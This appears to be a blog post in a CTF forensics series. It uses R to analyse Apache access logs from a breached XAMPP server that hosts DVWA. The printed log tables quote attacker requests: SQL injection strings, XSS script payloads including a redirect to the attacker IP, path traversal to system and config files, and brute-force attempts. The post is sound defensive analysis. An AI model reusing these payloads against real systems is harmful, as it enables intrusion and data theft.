This is one of many posts in a series I’ll be doing on a CTF offered by Ali Hadi. The CTF looks at a web server breach and asks us to answer several questions in order to complete the challenge. In an effort to avoid an incredibly long blog post, I’ll be breaking this up by question, with some questions potentially taking more than one post. You can find the chronological list of posts below, which will be updated as more posts are added.

  1. Analyzing the SAM Hive and security events Log
  2. Analyzing the web server logs

Assumptions

Before jumping in, there are a couple of assumptions I’m going to make about you as the reader:

  • You’re interested in understanding how this analysis would look on a Windows machine.
  • You’re comfortable reading code used to conduct analyses.
  • You’re familiar with log files and the data often contained within.

If any of these are completely foreign to you, I would pause here and spend some time familiarizing yourself with those concepts.

Recap

In the last blog post, we started looking at the SAM Hive and Windows Security Event Log in an effort to answer the question “how many users have been added to the box and how”. We were able to identify that at least two users, user1 (1005) and hacker (1006), were added to the machine on September 2nd, 2015 at approximately 9:05 am PST. However, when we went to look for the security events with event ID 4720, we found what appeared to be suspicious activity in the logs. The thing that stood out was an approximately 19 hour gap in the logs on the day that the users were added; a byproduct of what appears to be VBoxService.exe changing the system time on the machine. We also saw that this file didn’t seem to exist on the disk image, which increases the suspiciousness.

The Question

I dug a little deeper into the VBoxService.exe oddities, but wasn’t able to determine anything other than the fact that we can find it in the memory dump. There’s going to be additional blog posts in which we examine memdump.mem, so I’ll hold off on showing how I was able to extract the file until we get there. For now, I’d like to keep working with data that we can find on the disk image, which brings us to today’s focal point: the web server logs. I’m not sure if it’ll help us identify how the users were added to the machine, but it should give us some indication of how the attacker(s) interacted with the web server, which could give us leads as to where to look next. So, let’s start with a couple initial questions to get us started.

1. What IPs interacted with our box on September 2nd?
2. What do the logs show around the time the users were added?
3. Do the logs provide any additional leads for where to look next?

The Analysis

Let’s start by loading the log file for the web server, which, as you may recall is running XAMPP, and thus the logs are stored in %SystemRoot$\xampp\apache\logs\access.log. I’ll be using R and its tidyverse set of packages to analyze the data. If you’re familiar with Python and Pandas, you should be able to understand this code quite intuitively, but even if you’re not familiar with code at all it should still be relatively straightforward. I’ll do my best to explain any code snippets that I feel are not intuitively understandable from the code itself.

Let’s start by getting a feel for what the logs even look like so we can try to understand how to parse them.

head -n 3 xampp-apache-access.log

::1 - - [23/Aug/2015:14:46:24 -0700] "GET / HTTP/1.1" 302 - "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)"
::1 - - [23/Aug/2015:14:46:24 -0700] "GET /dashboard/ HTTP/1.1" 200 7327 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)"
::1 - - [23/Aug/2015:14:46:24 -0700] "GET /dashboard/stylesheets/normalize.css HTTP/1.1" 200 6876 "http://localhost/dashboard/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)"

Feels like a pretty typical log file, namely the fact that there’s no header indicating what each “field” represents. Thankfully, the Internet can sometimes be a magical place. If we Google for “xampp access log format”, we’ll come across this nice resource that explains it all to us. Let’s use that to ingest and parse the logs.

library(tidyverse) |>
    suppressPackageStartupMessages() |>
    suppressWarnings()

raw <- read_log("xampp-apache-access.log", show_col_types=FALSE)
colnames(raw) <- c(
    "ip",
    "client_identity",
    "user_id",
    "timestamp",
    "method_resource_version",
    "status_code",
    "size",
    "referer",
    "user_agent"
)

raw |>
    head(3) |> 
    pretty_print()
ip client_identity user_id timestamp method_resource_version status_code size referer user_agent
::1 NA NA 23/Aug/2015:14:46:24 -0700 GET / HTTP/1.1 302 NA NA Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)
::1 NA NA 23/Aug/2015:14:46:24 -0700 GET /dashboard/ HTTP/1.1 200 7327 NA Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)
::1 NA NA 23/Aug/2015:14:46:24 -0700 GET /dashboard/stylesheets/normalize.css HTTP/1.1 200 6876 <http://localhost/dashboard/> Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)

The read_log function does a pretty good job of automatically parsing the fields, but I’d like to clean the data up a little more, including getting rid of what appears to be a couple empty columns. Let’s confirm that there’s no data in client_identity and user_id. Note that the |> is R’s pipe operator, akin to | in Bash.

raw |>
    count(client_identity, user_id, sort=TRUE)
client_identity user_id n
NA NA 7716

As expected, there’s no data in those two columns, so we’ll drop them.

processed <- raw |>
    select(-client_identity, -user_id) |>
    separate(timestamp, into=c("date", "time"), sep=":", extra="merge") |>
    separate(method_resource_version, into=c("method", "resource", "http_version"), sep=" ") |>
    mutate(date=parse_date(date, format="%d/%b/%Y"))

processed |>
    head(3)
ip date time method resource http_version status_code size referer user_agent
::1 2015-08-23 14:46:24 -0700 GET / HTTP/1.1 302 NA NA Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)
::1 2015-08-23 14:46:24 -0700 GET /dashboard/ HTTP/1.1 200 7327 NA Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)
::1 2015-08-23 14:46:24 -0700 GET /dashboard/stylesheets/normalize.css HTTP/1.1 200 6876 <http://localhost/dashboard/> Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)

Much better. Now we can do some exploratory analyses, such as getting the top 10 IPs that have interacted with this box, the earliest and latest dates for which we have data, a count of activity by date, and more. Let’s start with getting the date range for our logs.

processed |>
    mutate(
        start_date = min(date) |> format("%Y-%m-%d"),
        end_date = max(date) |> format("%Y-%m-%d")
    ) |>
    select(start_date, end_date) |>
    slice(1)
start_date end_date
2015-08-23 2015-09-03

I assume that the short time window in the logs is because this is a CTF and not a real-world event. In a real event, we’d likely have a much larger file, with many more dates to comb through. However, the approaches we’re using here should work in those scenarios as well, as long as our analyses are targeted and specific. Let’s see what the top 10 IPs hitting this box are. If we don’t see anything of interest, we can narrow that down to the top 10 IPs the day the users were added.

processed |>
    count(ip, sort=TRUE) |>
    head(10)
ip n
192.168.56.102 4398
10.20.0.72 461
10.20.0.54 316
10.20.0.65 302
10.20.0.58 301
10.20.0.61 301
10.20.0.62 300
10.20.0.63 300
10.20.0.66 300
10.20.0.68 300

Wow, okay, so 192.168.56.102 has hit the box 4,398 times, which is almost 10x more than the next IP. Now, we know that any 192.168.0.0/16 IPs are going to be internal, private IPs, so this obviously isn’t the IP of our attacker, but it’s still interesting and worth digging into. Let’s see if that IP interacted with our server on September 2nd.

processed |>
    filter(date == "2015-09-02") |>
    count(ip, sort=TRUE)
ip n
192.168.56.102 4319
::1 30

Not only did that IP interact with the server on that date, it was virtually the only IP that interacted with the server. I want to see two things. First, a timeline of activity for that day and this IP, and second a breakdown of the resources that were requested. Let’s start with the timeline of activity.

plot_data <- processed |>
    filter(date == "2015-09-02") |>
    filter(ip == "192.168.56.102") |>
    mutate(time = str_remove(time, " -.*")) |>
    unite(datetime, date, time, sep=" ") |>
    mutate(datetime=lubridate::ymd_hms(datetime)) |>
    count(datetime)

ggplot(plot_data, aes(x=datetime, y=n)) +
    geom_line() +
    scale_x_datetime(date_labels="%H:%M") +
    xlab("Time") +
    ylab("Number of Events") +
    ggtitle("Access Events for 192.168.56.102 on Sep 2nd, 2015") +
    theme(
        panel.background=element_blank(),
        axis.line=element_line(color="black")
    )

This seems to indicate that our attacker is active pretty early in the morning, with virtually all events taking place before 06:00 Pacific Time. Let’s just confirm real quick that our analysis is right and that the graph is accurately showing us the data.

processed |>
    filter(ip == "192.168.56.102" & date == "2015-09-02" & time > "06:00:00") |>
    arrange(time) |>
    slice(1, n()) |>
    select(ip, date, time)
ip date time
192.168.56.102 2015-09-02 23:20:00 -0700
192.168.56.102 2015-09-02 23:59:38 -0700

The code above takes our data and filters down to our data of interest, sorts by time, and then gets the first and last rows from the data so that we can see the timestamps for that activity. As the data shows, our attacker didn’t interact with the web server between 06:00 and 23:20. But they were very active prior to that, with over 90 events coming in at some points. Let’s look at what some of those requests look like. Let’s also create a new dataset that only contains the data for this IP and the day of interest.

suspicious_activity <- processed |>
    filter(ip == "192.168.56.102" & date == "2015-09-02")

suspicious_activity |>
    count(resource, sort=TRUE) |>
    head(10)
resource n
/dvwa/login.php 1407
/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit 44
/dvwa/vulnerabilities/exec/ 32
/dvwa/setup.php 17
/dvwa/security.php 15
/dvwa/vulnerabilities/xss_s/ 13
/dvwa/vulnerabilities/sqli/?id=2%20ORDER%20BY%201–%20&Submit=Submit 8
/dvwa/vulnerabilities/sqli/?id=2%20ORDER%20BY%201%23&Submit=Submit 8
/dvwa/vulnerabilities/sqli/?id=2%20UNION%20ALL%20SELECT%20NULL–%20&Submit=Submit 8
/dvwa/vulnerabilities/sqli/?id=2%20UNION%20ALL%20SELECT%20NULL%23&Submit=Submit 8

Well isn’t that interesting?! What is “dvwa”? More importantly, look at those explicit SQL injection calls! All right, all right, let’s stay cool and keep our wits about us. We need to figure out what’s going on here. Let’s start by trying to figure out what “dvwa” is. A quick Google search tells us that it’s potentially the Damn Vulnerable Web App, which would be interesting and fitting for this CTF. Additionally, if we read further down on the GitHub repo, under the “WARNING!” label, we see that the author recommends installing XAMPP for the web server and database, which is what we see on this machine. There are a few more analyses I want to run on these logs, but I think my next step is to learn more about the DVWA and see how that fits into our story here. But for now, let’s see what the referer data tells us as it relates to these resource requests.

suspicious_activity |>
    count(resource, referer, sort=TRUE) |>
    head(10)
resource referer n
/dvwa/login.php NA 1405
/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit NA 43
/dvwa/vulnerabilities/exec/ <http://192.168.56.101/dvwa/vulnerabilities/exec/> 24
/dvwa/setup.php <http://192.168.56.101/dvwa/setup.php> 11
/dvwa/vulnerabilities/sqli/?id=2%20ORDER%20BY%201–%20&Submit=Submit NA 8
/dvwa/vulnerabilities/sqli/?id=2%20ORDER%20BY%201%23&Submit=Submit NA 8
/dvwa/vulnerabilities/sqli/?id=2%20UNION%20ALL%20SELECT%20NULL–%20&Submit=Submit NA 8
/dvwa/vulnerabilities/sqli/?id=2%20UNION%20ALL%20SELECT%20NULL%23&Submit=Submit NA 8
/dvwa/vulnerabilities/sqli/?id=2%20UNION%20ALL%20SELECT%20NULL%2CNULL–%20&Submit=Submit NA 8
/dvwa/vulnerabilities/sqli/?id=2%20UNION%20ALL%20SELECT%20NULL%2CNULL%23&Submit=Submit NA 8

Not as helpful as I was hoping. Let’s just get a quick count of the referer field.

suspicious_activity |>
    count(referer, sort=TRUE)
referer n
NA 3736
<http://192.168.56.101/dvwa/vulnerabilities/exec/> 32
<http://192.168.56.101/dashboard/docs/> 28
<http://192.168.56.101/dashboard/> 24
<http://192.168.56.101/dvwa/index.php> 20
<http://192.168.56.101/dashboard/docs/images/> 19
<http://192.168.56.101/dvwa/setup.php> 17
<http://192.168.56.101/dvwa/vulnerabilities/> 17
<http://192.168.56.101/dashboard/images/> 16
<http://192.168.56.101/dvwa/security.php> 16
<http://192.168.56.101/dashboard/howto.html> 15
<http://192.168.56.101/dvwa/dvwa/> 10
<http://192.168.56.101/dvwa/vulnerabilities/xss_s/> 10
<http://192.168.56.101/dvwa/dvwa/includes/> 8
<http://192.168.56.101/dvwa/dvwa/css/> 7
<http://192.168.56.101/dvwa/dvwa/includes/DBMS/> 7
<http://192.168.56.101/dvwa/login.php> 7
<http://192.168.56.101/dashboard/stylesheets/> 6
<http://192.168.56.101/icons/> 6
<http://192.168.56.101/dvwa/dvwa/js/> 5
<http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit> 5
<http://192.168.56.101/dvwa/vulnerabilities/xss_r/> 5
<http://192.168.56.101/dashboard/docs/images/activate-use-xdebug/> 4
<http://192.168.56.101/dashboard/docs/images/backup-restore-mysql/> 4
<http://192.168.56.101/dashboard/docs/images/configure-vhosts/> 4
<http://192.168.56.101/dashboard/docs/images/configure-wildcard-subdomains/> 4
<http://192.168.56.101/dashboard/docs/images/create-framework-project-zf1/> 4
<http://192.168.56.101/dashboard/docs/images/create-framework-project-zf2/> 4
<http://192.168.56.101/dashboard/docs/images/deploy-git-app/> 4
<http://192.168.56.101/dashboard/docs/images/install-wordpress/> 4
<http://192.168.56.101/dashboard/docs/images/reset-mysql-password/> 4
<http://192.168.56.101/dashboard/docs/images/send-mail/> 4
<http://192.168.56.101/dashboard/docs/images/transfer-files-ftp/> 4
<http://192.168.56.101/dashboard/docs/images/troubleshoot-apache/> 4
<http://192.168.56.101/dashboard/docs/images/use-different-php-version/> 4
<http://192.168.56.101/dashboard/docs/images/use-php-fcgi/> 4
<http://192.168.56.101/dashboard/docs/images/use-sqlite/> 4
<http://192.168.56.101/dashboard/images/addons/> 4
<http://192.168.56.101/dashboard/images/blog/> 4
<http://192.168.56.101/dashboard/images/flags/> 4
<http://192.168.56.101/dashboard/images/screenshots/> 4
<http://192.168.56.101/dashboard/images/stamps/> 4
<http://192.168.56.101/dashboard/images/team/> 4
<http://192.168.56.101/dashboard/javascripts/> 4
<http://192.168.56.101/dvwa/dvwa/images/> 4
<http://192.168.56.101/dvwa/instructions.php> 4
<http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=a%27+union+select+user%28%29%2C+database%28%29+--+&Submit=Submit> 4
<http://192.168.56.101/icons/small/> 4
<http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=a%27+or+%271%27+%3D+%271&Submit=Submit> 3
<http://192.168.56.101/dashboard/docs/images/configure-vhosts/?C=S;O=A> 2
<http://192.168.56.101/dashboard/docs/images/deploy-git-app/?C=D;O=A> 2
<http://192.168.56.101/dashboard/docs/images/install-wordpress/?C=M;O=A> 2
<http://192.168.56.101/dashboard/docs/images/transfer-files-ftp/?C=M;O=A> 2
<http://192.168.56.101/dashboard/stylesheets/all.css> 2
<http://192.168.56.101/dvwa/dvwa/includes/?C=S;O=A> 2
<http://192.168.56.101/dvwa/vulnerabilities/brute/>. 2
<http://192.168.56.101/dvwa/vulnerabilities/sqli/> 2
<http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit> 2
<http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=abc%27+and+0%3D0+union+select+table_name%2C+null+from+information_schema.tables+where+table_name+like+%22user%25%22--+&Submit=Submit> 2
<http://192.168.56.101/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E> 2
<http://192.168.56.101/icons/?C=S;O=A> 2
<http://192.168.56.101/> 1
<http://192.168.56.101/applications.html> 1
<http://192.168.56.101/dashboard/docs/?C=D;O=A> 1
<http://192.168.56.101/dashboard/docs/?C=M;O=A> 1
<http://192.168.56.101/dashboard/docs/?C=N;O=D> 1
<http://192.168.56.101/dashboard/docs/?C=S;O=A> 1
<http://192.168.56.101/dashboard/docs/backup-restore-mysql.html> 1
<http://192.168.56.101/dashboard/docs/configure-vhosts.html> 1
<http://192.168.56.101/dashboard/docs/configure-wildcard-subdomains.html> 1
<http://192.168.56.101/dashboard/docs/deploy-git-app.html> 1
<http://192.168.56.101/dashboard/docs/images/?C=D;O=A> 1
<http://192.168.56.101/dashboard/docs/images/?C=M;O=A> 1
<http://192.168.56.101/dashboard/docs/images/?C=N;O=D> 1
<http://192.168.56.101/dashboard/docs/images/?C=S;O=A> 1
<http://192.168.56.101/dashboard/docs/images/activate-use-xdebug/?C=D;O=A> 1
<http://192.168.56.101/dashboard/docs/images/activate-use-xdebug/?C=M;O=A> 1
<http://192.168.56.101/dashboard/docs/images/activate-use-xdebug/?C=N;O=D> 1
<http://192.168.56.101/dashboard/docs/images/activate-use-xdebug/?C=S;O=A> 1
<http://192.168.56.101/dashboard/docs/images/backup-restore-mysql/?C=D;O=A> 1
<http://192.168.56.101/dashboard/docs/images/backup-restore-mysql/?C=M;O=A> 1
<http://192.168.56.101/dashboard/docs/images/backup-restore-mysql/?C=N;O=D> 1
<http://192.168.56.101/dashboard/docs/images/backup-restore-mysql/?C=S;O=A> 1
<http://192.168.56.101/dashboard/docs/images/configure-vhosts/?C=D;O=A> 1
<http://192.168.56.101/dashboard/docs/images/configure-vhosts/?C=M;O=A> 1
<http://192.168.56.101/dashboard/docs/images/configure-wildcard-subdomains/?C=D;O=A> 1
<http://192.168.56.101/dashboard/docs/images/configure-wildcard-subdomains/?C=M;O=A> 1
<http://192.168.56.101/dashboard/docs/images/configure-wildcard-subdomains/?C=N;O=D> 1
<http://192.168.56.101/dashboard/docs/images/configure-wildcard-subdomains/?C=S;O=A> 1
<http://192.168.56.101/dashboard/docs/images/create-framework-project-zf1/?C=D;O=A> 1
<http://192.168.56.101/dashboard/docs/images/create-framework-project-zf1/?C=M;O=A> 1
<http://192.168.56.101/dashboard/docs/images/create-framework-project-zf1/?C=N;O=D> 1
<http://192.168.56.101/dashboard/docs/images/create-framework-project-zf1/?C=S;O=A> 1
<http://192.168.56.101/dashboard/docs/images/create-framework-project-zf2/?C=D;O=A> 1
<http://192.168.56.101/dashboard/docs/images/create-framework-project-zf2/?C=M;O=A> 1
<http://192.168.56.101/dashboard/docs/images/create-framework-project-zf2/?C=N;O=D> 1
<http://192.168.56.101/dashboard/docs/images/create-framework-project-zf2/?C=S;O=A> 1
<http://192.168.56.101/dashboard/docs/images/deploy-git-app/?C=M;O=A> 1
<http://192.168.56.101/dashboard/docs/images/deploy-git-app/?C=S;O=A> 1
<http://192.168.56.101/dashboard/docs/images/install-wordpress/?C=D;O=A> 1
<http://192.168.56.101/dashboard/docs/images/install-wordpress/?C=S;O=A> 1
<http://192.168.56.101/dashboard/docs/images/reset-mysql-password/?C=D;O=A> 1
<http://192.168.56.101/dashboard/docs/images/reset-mysql-password/?C=M;O=A> 1
<http://192.168.56.101/dashboard/docs/images/reset-mysql-password/?C=N;O=D> 1
<http://192.168.56.101/dashboard/docs/images/reset-mysql-password/?C=S;O=A> 1
<http://192.168.56.101/dashboard/docs/images/send-mail/?C=D;O=A> 1
<http://192.168.56.101/dashboard/docs/images/send-mail/?C=M;O=A> 1
<http://192.168.56.101/dashboard/docs/images/send-mail/?C=N;O=D> 1
<http://192.168.56.101/dashboard/docs/images/send-mail/?C=S;O=A> 1
<http://192.168.56.101/dashboard/docs/images/transfer-files-ftp/?C=D;O=A> 1
<http://192.168.56.101/dashboard/docs/images/transfer-files-ftp/?C=S;O=A> 1
<http://192.168.56.101/dashboard/docs/images/troubleshoot-apache/?C=D;O=A> 1
<http://192.168.56.101/dashboard/docs/images/troubleshoot-apache/?C=M;O=A> 1
<http://192.168.56.101/dashboard/docs/images/troubleshoot-apache/?C=N;O=D> 1
<http://192.168.56.101/dashboard/docs/images/troubleshoot-apache/?C=S;O=A> 1
<http://192.168.56.101/dashboard/docs/images/use-different-php-version/?C=D;O=A> 1
<http://192.168.56.101/dashboard/docs/images/use-different-php-version/?C=M;O=A> 1
<http://192.168.56.101/dashboard/docs/images/use-different-php-version/?C=N;O=D> 1
<http://192.168.56.101/dashboard/docs/images/use-different-php-version/?C=S;O=A> 1
<http://192.168.56.101/dashboard/docs/images/use-php-fcgi/?C=D;O=A> 1
<http://192.168.56.101/dashboard/docs/images/use-php-fcgi/?C=M;O=A> 1
<http://192.168.56.101/dashboard/docs/images/use-php-fcgi/?C=N;O=D> 1
<http://192.168.56.101/dashboard/docs/images/use-php-fcgi/?C=S;O=A> 1
<http://192.168.56.101/dashboard/docs/images/use-sqlite/?C=D;O=A> 1
<http://192.168.56.101/dashboard/docs/images/use-sqlite/?C=M;O=A> 1
<http://192.168.56.101/dashboard/docs/images/use-sqlite/?C=N;O=D> 1
<http://192.168.56.101/dashboard/docs/images/use-sqlite/?C=S;O=A> 1
<http://192.168.56.101/dashboard/docs/install-wordpress.html> 1
<http://192.168.56.101/dashboard/docs/send-mail.html> 1
<http://192.168.56.101/dashboard/docs/transfer-files-ftp.html> 1
<http://192.168.56.101/dashboard/docs/use-sqlite.html> 1
<http://192.168.56.101/dashboard/images/?C=D;O=A> 1
<http://192.168.56.101/dashboard/images/?C=M;O=A> 1
<http://192.168.56.101/dashboard/images/?C=N;O=D> 1
<http://192.168.56.101/dashboard/images/?C=S;O=A> 1
<http://192.168.56.101/dashboard/images/addons/?C=D;O=A> 1
<http://192.168.56.101/dashboard/images/addons/?C=M;O=A> 1
<http://192.168.56.101/dashboard/images/addons/?C=N;O=D> 1
<http://192.168.56.101/dashboard/images/addons/?C=S;O=A> 1
<http://192.168.56.101/dashboard/images/blog/?C=D;O=A> 1
<http://192.168.56.101/dashboard/images/blog/?C=M;O=A> 1
<http://192.168.56.101/dashboard/images/blog/?C=N;O=D> 1
<http://192.168.56.101/dashboard/images/blog/?C=S;O=A> 1
<http://192.168.56.101/dashboard/images/flags/?C=D;O=A> 1
<http://192.168.56.101/dashboard/images/flags/?C=M;O=A> 1
<http://192.168.56.101/dashboard/images/flags/?C=N;O=D> 1
<http://192.168.56.101/dashboard/images/flags/?C=S;O=A> 1
<http://192.168.56.101/dashboard/images/screenshots/?C=D;O=A> 1
<http://192.168.56.101/dashboard/images/screenshots/?C=M;O=A> 1
<http://192.168.56.101/dashboard/images/screenshots/?C=N;O=D> 1
<http://192.168.56.101/dashboard/images/screenshots/?C=S;O=A> 1
<http://192.168.56.101/dashboard/images/stamps/?C=D;O=A> 1
<http://192.168.56.101/dashboard/images/stamps/?C=M;O=A> 1
<http://192.168.56.101/dashboard/images/stamps/?C=N;O=D> 1
<http://192.168.56.101/dashboard/images/stamps/?C=S;O=A> 1
<http://192.168.56.101/dashboard/images/team/?C=D;O=A> 1
<http://192.168.56.101/dashboard/images/team/?C=M;O=A> 1
<http://192.168.56.101/dashboard/images/team/?C=N;O=D> 1
<http://192.168.56.101/dashboard/images/team/?C=S;O=A> 1
<http://192.168.56.101/dashboard/javascripts/?C=D;O=A> 1
<http://192.168.56.101/dashboard/javascripts/?C=M;O=A> 1
<http://192.168.56.101/dashboard/javascripts/?C=N;O=D> 1
<http://192.168.56.101/dashboard/javascripts/?C=S;O=A> 1
<http://192.168.56.101/dashboard/stylesheets/?C=D;O=A> 1
<http://192.168.56.101/dashboard/stylesheets/?C=M;O=A> 1
<http://192.168.56.101/dashboard/stylesheets/?C=N;O=D> 1
<http://192.168.56.101/dashboard/stylesheets/?C=S;O=A> 1
<http://192.168.56.101/dvwa/about.php> 1
<http://192.168.56.101/dvwa/dvwa/?C=D;O=A> 1
<http://192.168.56.101/dvwa/dvwa/?C=M;O=A> 1
<http://192.168.56.101/dvwa/dvwa/?C=N;O=D> 1
<http://192.168.56.101/dvwa/dvwa/?C=S;O=A> 1
<http://192.168.56.101/dvwa/dvwa/css/?C=D;O=A> 1
<http://192.168.56.101/dvwa/dvwa/css/?C=M;O=A> 1
<http://192.168.56.101/dvwa/dvwa/css/?C=N;O=D> 1
<http://192.168.56.101/dvwa/dvwa/css/?C=S;O=A> 1
<http://192.168.56.101/dvwa/dvwa/images/?C=D;O=A> 1
<http://192.168.56.101/dvwa/dvwa/images/?C=M;O=A> 1
<http://192.168.56.101/dvwa/dvwa/images/?C=N;O=D> 1
<http://192.168.56.101/dvwa/dvwa/images/?C=S;O=A> 1
<http://192.168.56.101/dvwa/dvwa/includes/?C=D;O=A> 1
<http://192.168.56.101/dvwa/dvwa/includes/?C=M;O=A> 1
<http://192.168.56.101/dvwa/dvwa/includes/DBMS/?C=D;O=A> 1
<http://192.168.56.101/dvwa/dvwa/includes/DBMS/?C=M;O=A> 1
<http://192.168.56.101/dvwa/dvwa/includes/DBMS/?C=N;O=D> 1
<http://192.168.56.101/dvwa/dvwa/includes/DBMS/?C=S;O=A> 1
<http://192.168.56.101/dvwa/dvwa/js/?C=D;O=A> 1
<http://192.168.56.101/dvwa/dvwa/js/?C=M;O=A> 1
<http://192.168.56.101/dvwa/dvwa/js/?C=N;O=D> 1
<http://192.168.56.101/dvwa/dvwa/js/?C=S;O=A> 1
<http://192.168.56.101/dvwa/hackable/> 1
<http://192.168.56.101/dvwa/ids_log.php> 1
<http://192.168.56.101/dvwa/vulnerabilities/?C=D;O=A> 1
<http://192.168.56.101/dvwa/vulnerabilities/?C=M;O=A> 1
<http://192.168.56.101/dvwa/vulnerabilities/?C=N;O=D> 1
<http://192.168.56.101/dvwa/vulnerabilities/?C=S;O=A> 1
<http://192.168.56.101/dvwa/vulnerabilities/brute/> 1
<http://192.168.56.101/dvwa/vulnerabilities/brute/>.?username=admin&Login=Login&password=password 1
<http://192.168.56.101/dvwa/vulnerabilities/brute/?username=admin&Login=Login&password=password> 1
<http://192.168.56.101/dvwa/vulnerabilities/captcha/> 1
<http://192.168.56.101/dvwa/vulnerabilities/captcha/>. 1
<http://192.168.56.101/dvwa/vulnerabilities/csrf/> 1
<http://192.168.56.101/dvwa/vulnerabilities/csrf/>. 1
<http://192.168.56.101/dvwa/vulnerabilities/csrf/>.?password_conf=password&password_new=password&Change=Change&password_current=password 1
<http://192.168.56.101/dvwa/vulnerabilities/csrf/?password_conf=password&password_new=password&Change=Change&password_current=password> 1
<http://192.168.56.101/dvwa/vulnerabilities/fi/?page=>../../../../../../../../abc.txt 1
<http://192.168.56.101/dvwa/vulnerabilities/fi/?page=>../../../../../../../../xampp/phpMyAdmin/config.inc 1
<http://192.168.56.101/dvwa/vulnerabilities/fi/?page=>../../../../../../windows/system32/drivers/etc/hosts 1
<http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit&id=555-555-0199@example.com&Submit=Submit> 1
<http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit&id=555-555-0199@example.com&Submit=Submit&id=555-555-0199@example.com&Submit=Submit> 1
<http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit&id=555-555-0199@example.com&Submit=Submit&id=555-555-0199@example.com&Submit=Submit&id=555-555-0199@example.com&Submit=Submit> 1
<http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit&id=555-555-0199@example.com&Submit=Submit&id=555-555-0199@example.com&Submit=Submit&id=555-555-0199@example.com&Submit=Submit&id=555-555-0199@example.com&Submit=Submit> 1
<http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=3&Submit=Submit> 1
<http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=4&Submit=Submit> 1
<http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=5&Submit=Submit> 1
<http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=6&Submit=Submit> 1
<http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=a%27+and+0%3D0+union+select+column_name%2C+null+from+information_schema.columns+where+table_name+%3D+%27users%27+--+&Submit=Submit> 1
<http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=a%27+or+1%3D1+--+&Submit=Submit> 1
<http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=abc%27+and+0%3D0+union+select+table_name%2C+null+from+information_schema.tables+--+&Submit=Submit> 1
<http://192.168.56.101/dvwa/vulnerabilities/xss_r/>. 1
<http://192.168.56.101/dvwa/vulnerabilities/xss_r/>.?name=Peter%2bWinter 1
<http://192.168.56.101/dvwa/vulnerabilities/xss_r/?name=%3Ch1%3EXSS%3C%2Fh1%3E> 1
<http://192.168.56.101/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ewindows.location%3D%22http%3A%2F%2F192.168.56.102%22%3C%2Fscript%3E> 1
<http://192.168.56.101/dvwa/vulnerabilities/xss_r/?name=ali> 1
<http://192.168.56.101/dvwa/vulnerabilities/xss_r/?name=Ali> 1
<http://192.168.56.101/dvwa/vulnerabilities/xss_r/?name=XSS> 1
<http://192.168.56.101/dvwa/vulnerabilities/xss_s/>. 1
<http://192.168.56.101/icons/?C=D;O=A> 1
<http://192.168.56.101/icons/?C=M;O=A> 1
<http://192.168.56.101/icons/small/?C=D;O=A> 1
<http://192.168.56.101/icons/small/?C=M;O=A> 1
<http://192.168.56.101/icons/small/?C=N;O=D> 1
<http://192.168.56.101/icons/small/?C=S;O=A> 1

And now let’s hone in on anything with “vulnerabilities”, “security”, or “exec” in the URL.

suspicious_activity |>
    filter(str_detect(referer, "vulnerabilities|security|exec")) |>
    count(referer, sort=TRUE) |>
    head(10)
referer n
<http://192.168.56.101/dvwa/vulnerabilities/exec/> 32
<http://192.168.56.101/dvwa/vulnerabilities/> 17
<http://192.168.56.101/dvwa/security.php> 16
<http://192.168.56.101/dvwa/vulnerabilities/xss_s/> 10
<http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit> 5
<http://192.168.56.101/dvwa/vulnerabilities/xss_r/> 5
<http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=a%27+union+select+user%28%29%2C+database%28%29+--+&Submit=Submit> 4
<http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=a%27+or+%271%27+%3D+%271&Submit=Submit> 3
<http://192.168.56.101/dvwa/vulnerabilities/brute/>. 2
<http://192.168.56.101/dvwa/vulnerabilities/sqli/> 2

This is pretty enlightening as we get quite a few leads. There are calls to sqli, xss_s, xss_r, and brute, which all seem interesting. I’m going to start with sqli and get a sense of the commands being run.

suspicious_activity |>
    filter(str_detect(referer, "sqli/\\?")) |>
    mutate(cmd = str_replace(
        referer,
        "http://192.168.56.101/dvwa/vulnerabilities/sqli/\\?",
        "")
    ) |>
    count(cmd, sort=TRUE)
cmd n
id=1&Submit=Submit 5
